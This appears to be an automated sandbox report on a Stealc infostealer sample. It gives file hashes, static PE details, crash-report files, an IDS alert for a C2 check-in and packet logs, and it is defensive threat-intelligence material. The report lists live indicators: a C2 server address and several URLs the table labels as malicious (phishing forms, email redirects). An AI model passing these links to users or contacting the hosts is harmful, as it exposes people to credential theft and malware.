28a2c9bd18a11de089ef85a160da29e4	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	13.107.253.45
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse	13.107.253.45
	file.exe	Get hash	malicious	Vidar	Browse	13.107.253.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.253.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.253.45
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	13.107.253.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.253.45
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.htr.gtdzwq?v=frudxdxrtxfilfrjx.htrd.iwtlt___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpjOGJiNWZiM2U4NjZhMDk1M2Y0MGVjY2U1MDhmYjQ4YTo3OmM4Y2I6MDdlZDdhNDI4N2UyMzc1NGJjZGQ1YjkyOWYyODg2OTI5ZDkyNzU0YTQ2NWI4MzhkYWZlMmM3NjA5ZGMyZGNmMzpoOlQ6VA#YnJhbmRvbi53YW5nQGludGVncmFjb25uZWN0LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_5rVhexjLCx.exe_4f563470d5c1e523cae46f4ce3215b123fa5833_07f53762_c9c77ddf-0ca1-47fc-8dbf-f5e4899913d0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6543529958641754
Encrypted:	false
SSDEEP:	96:rPPFrVYi0M4s0yI+Atf5QXIDcQvc6QcEVcw3cE/X+HbHg/5hZAX/d5FMT2SlPkp1:jDYiF4w0BU/wjhzuiFWZ24IO8bT
MD5:	A5A6A0A4DC6B79BCEE4591038D5FF107
SHA1:	0CF07F4A3EA2900EEC07FCA4B31260CE1413FDD9
SHA-256:	1F85D5D8952EEDE6F7D3FAC426CAB30C749C2A8D52F09CBFFE51EA2FDF3AC60F
SHA-512:	DFCA65C8F25F36F101C2FBF681886ED8F2FB86EAF572556EC7CB2F04A9AC49F0E63778AABCEE2B097B5DDEFF504A568EA1191ED8AC400A4B593FF26A97E31586
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.0.4.1.9.6.3.1.9.8.7.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.0.4.1.9.9.4.4.4.8.4.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.9.c.7.7.d.d.f.-.0.c.a.1.-.4.7.f.c.-.8.d.b.f.-.f.5.e.4.8.9.9.9.1.3.d.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.d.9.2.3.3.b.7.-.3.e.e.f.-.4.9.2.f.-.a.e.7.d.-.9.3.c.b.0.5.5.3.3.e.7.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.5.r.V.h.e.x.j.L.C.x...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.5.8.-.0.0.0.1.-.0.0.1.4.-.0.d.3.d.-.d.d.0.1.d.2.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.d.e.5.b.e.a.1.d.6.8.a.c.8.3.4.0.6.0.d.2.b.8.8.c.6.6.7.7.6.1.f.6.b.e.6.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8CD9.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 16:00:19 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34150
Entropy (8bit):	1.7078932649569614
Encrypted:	false
SSDEEP:	96:568kqs6zJWsEWXsVi77hWyVsKWZMFzkSzaY/dqg+6KWIkWI2MI4O+effCiJgXirv:HBeODsr2FzkcqD6bO+GqiOyrQF2
MD5:	63CAD3FBEE5D94E7332F4E51A7ADBB57
SHA1:	2BB15F1BCBDEB5C28A7883380FF4FA8FFB51EB63
SHA-256:	5B4CA439FEBDA11973698BD61E955E165B0EDD62913ADBBA131803600554440B
SHA-512:	022CD14BFDE5EF8231A8D70DD8615454D1C1F8EBBEE02A91C4AE6FA830197F031EB7844FB75C3E158A601224396E11B0484DA0A0C3C9BB55AEE3E942C7EBB5B6
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T...............fz......................................................................................................eJ..............GenuineIntel............T.......X......g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8D28.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8328
Entropy (8bit):	3.7021028899040993
Encrypted:	false
SSDEEP:	192:R6l7wVeJ/K636Y9jgSU9Aw7gmf0mzAldprr89bXbsf69m:R6lXJC636Y2SU9Aw7gmf0i2sXgfJ
MD5:	2CB77A1E277D1F8AFC699FB2D1647E7D
SHA1:	25BC410D4CD580E0DAE411BB4F63B63DDD150DE5
SHA-256:	059825CDE3915351467F6F34747D6AC065C97505F7FB883850DC166A99DEC69B
SHA-512:	FF23C9E431E996C447A9E449ADBDFDFA9E0ABBA8AC3319FEB96F9B6560D31A04A74F088A62CEEC4DFC6103BD9E97B24B7990CC7478F6E30BC6400499BA839E5D
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.0.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8D68.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.487642186380506
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9UCuWpW8VYJYm8M4J7SlMFV+q87WxDCajiLyd:uIjfSI7nP7VFJ97CajIyd
MD5:	6240713C28A2F1A675E316A0D3B13BF8
SHA1:	78539537F9EA0286B54F0A173D2EDC615EDA5C63
SHA-256:	BCED59500E500AD4DBBA7109BF70F23C69326834CD23E9962A9084A8FBD1540C
SHA-512:	FB27B4828C71689B7C0433AB0FC1831CA1C0CEF7E70D39E993319DC5F2B9BCB2C9997B21BD58EF361383291B06A3FE3F7C1A4676B40147747B1FD4B4F892C08F
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533223" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4660544969377005
Encrypted:	false
SSDEEP:	6144:cIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNsdwBCswSbF:hXD94+WlLZMM6YFHu+F
MD5:	E70CD9B25D55054B34A90EFCC72508FB
SHA1:	BEADF497CD765892EE653922DC958B5431445ABB
SHA-256:	5FB88AA369355F750CE594134E975206FDDC2967180FDB3A3185230235EBE5B3
SHA-512:	CB0ED5168BBC0AC26704C563407182FB1EC25AFEBA8F012E474F125AFAA8968FCCE44D790A281C1960C2D8A367912A8F0E24E626D32DAF43D593AFB32060A4D0
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.(..................................................................................................................................................................................................................................................................................................................................................8?6........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.681701162060035
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	5rVhexjLCx.exe
File size:	505'344 bytes
MD5:	0b1d171017be0462ff7522614f49afea
SHA1:	de5bea1d68ac834060d2b88c667761f6be6d5e3b
SHA256:	548617ec6305c654f71be990786ad737c3fce173e319c78f78d074589f72dbdc
SHA512:	3c7031c65202510b23234637e22eb7c5996840b01e1b01041aec9be2d1d2c1105ad3ff6e6f4b323b85f4f4ec40e87d05295843c017c00dd378cdb75bdacb0a6e
SSDEEP:	12288:Zadlka1IlaK/bs650zG5IEp04PJjV+iZQc4S:Zda1C53IEdh1ZQ1
TLSH:	58B4F114B9C1C072D57229324AF4DA799E7EBCB00E619DDF67940F7F4F20290D621AAB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU...............

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406f52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x670402B1 [Mon Oct 7 15:48:01 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d10af643340e1121562abe3e6bd5b0e1

Entrypoint Preview

Instruction
call 00007F5B68DA7E70h
jmp 00007F5B68DA73DFh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F5B68DA757Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F5B68DA756Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F5B68DA756Eh
add edx, 28h
cmp edx, esi
jne 00007F5B68DA754Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F5B68DA755Bh
push esi
call 00007F5B68DA8184h
test eax, eax
je 00007F5B68DA7582h
mov eax, dword ptr fs:[00000018h]
mov esi, 0047B34Ch
mov edx, dword ptr [eax+04h]
jmp 00007F5B68DA7566h
cmp edx, eax
je 00007F5B68DA7572h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F5B68DA7552h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F5B68DA7569h
mov byte ptr [0047B350h], 00000001h
call 00007F5B68DA781Ah
call 00007F5B68DAA737h
test al, al
jne 00007F5B68DA7566h
xor al, al
pop ebp
ret
call 00007F5B68DB3199h
test al, al
jne 00007F5B68DA756Ch
push 00000000h
call 00007F5B68DAA73Eh
pop ecx
jmp 00007F5B68DA754Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0047B351h], 00000000h
je 00007F5B68DA7566h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c6c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7c000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7d000	0x1ad4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2abc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ab00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x210f0	0x21200	4bd5a5eef06afa6da3962ae2605ac3d4	False	0.5865713443396227	data	6.6701787399279935	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x9d78	0x9e00	0330e42b376780138ea68fee13148015	False	0.43517602848101267	data	4.95872098504282	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x4ef78	0x4e200	15a44f3565b2ed934197e2d2e9135d21	False	0.98996875	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.990249515702075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7c000	0x3d8	0x400	5584c2fd2a321b3ff4d89d84727643be	False	0.4404296875	data	3.290569201128903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7d000	0x1ad4	0x1c00	07612acedee6fba490a18079198490c7	False	0.7271205357142857	data	6.392445548592724	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x7c058	0x380	data	English	United States	0.46205357142857145

Imports

DLL

Import

KERNEL32.dll

AttachConsole, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T18:00:21.755554+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	62.204.41.150	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:00:20.567284107 CEST	49730	80	192.168.2.4	62.204.41.150
Oct 7, 2024 18:00:20.572458029 CEST	80	49730	62.204.41.150	192.168.2.4
Oct 7, 2024 18:00:20.572563887 CEST	49730	80	192.168.2.4	62.204.41.150
Oct 7, 2024 18:00:20.575268984 CEST	49730	80	192.168.2.4	62.204.41.150
Oct 7, 2024 18:00:20.580837011 CEST	80	49730	62.204.41.150	192.168.2.4
Oct 7, 2024 18:00:21.259233952 CEST	80	49730	62.204.41.150	192.168.2.4
Oct 7, 2024 18:00:21.259351969 CEST	49730	80	192.168.2.4	62.204.41.150
Oct 7, 2024 18:00:21.261679888 CEST	49730	80	192.168.2.4	62.204.41.150
Oct 7, 2024 18:00:21.266622066 CEST	80	49730	62.204.41.150	192.168.2.4
Oct 7, 2024 18:00:21.755469084 CEST	80	49730	62.204.41.150	192.168.2.4
Oct 7, 2024 18:00:21.755553961 CEST	49730	80	192.168.2.4	62.204.41.150
Oct 7, 2024 18:00:23.680674076 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 7, 2024 18:00:23.845622063 CEST	49730	80	192.168.2.4	62.204.41.150
Oct 7, 2024 18:01:04.162183046 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:04.162214994 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:04.162311077 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:04.162599087 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:04.162610054 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.126349926 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.126470089 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.172195911 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.172219992 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.172535896 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.187211037 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.231403112 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.298254013 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.298331022 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.298372984 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.298408985 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.298429966 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.298464060 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.298491955 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.378565073 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.378613949 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.378664970 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.378686905 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.378720999 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.378746986 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.385119915 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.385169983 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.385226965 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.385235071 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.385289907 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.465027094 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.465080023 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.465193033 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.465212107 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.465266943 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.467828989 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.467870951 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.467911959 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.467919111 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.467946053 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.467971087 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.470289946 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.470330954 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.470377922 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.470386028 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.470436096 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.477694988 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.477741957 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.477777004 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.477787018 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.477799892 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.477838039 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.550959110 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.550975084 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.551038027 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.551048040 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.551075935 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.551101923 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.553986073 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.554028034 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.554059029 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.554065943 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.554100037 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.554120064 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.558003902 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.558053970 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.558072090 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.558079004 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.558109999 CEST	49743	443	192.168.2.4	13.107.253.45
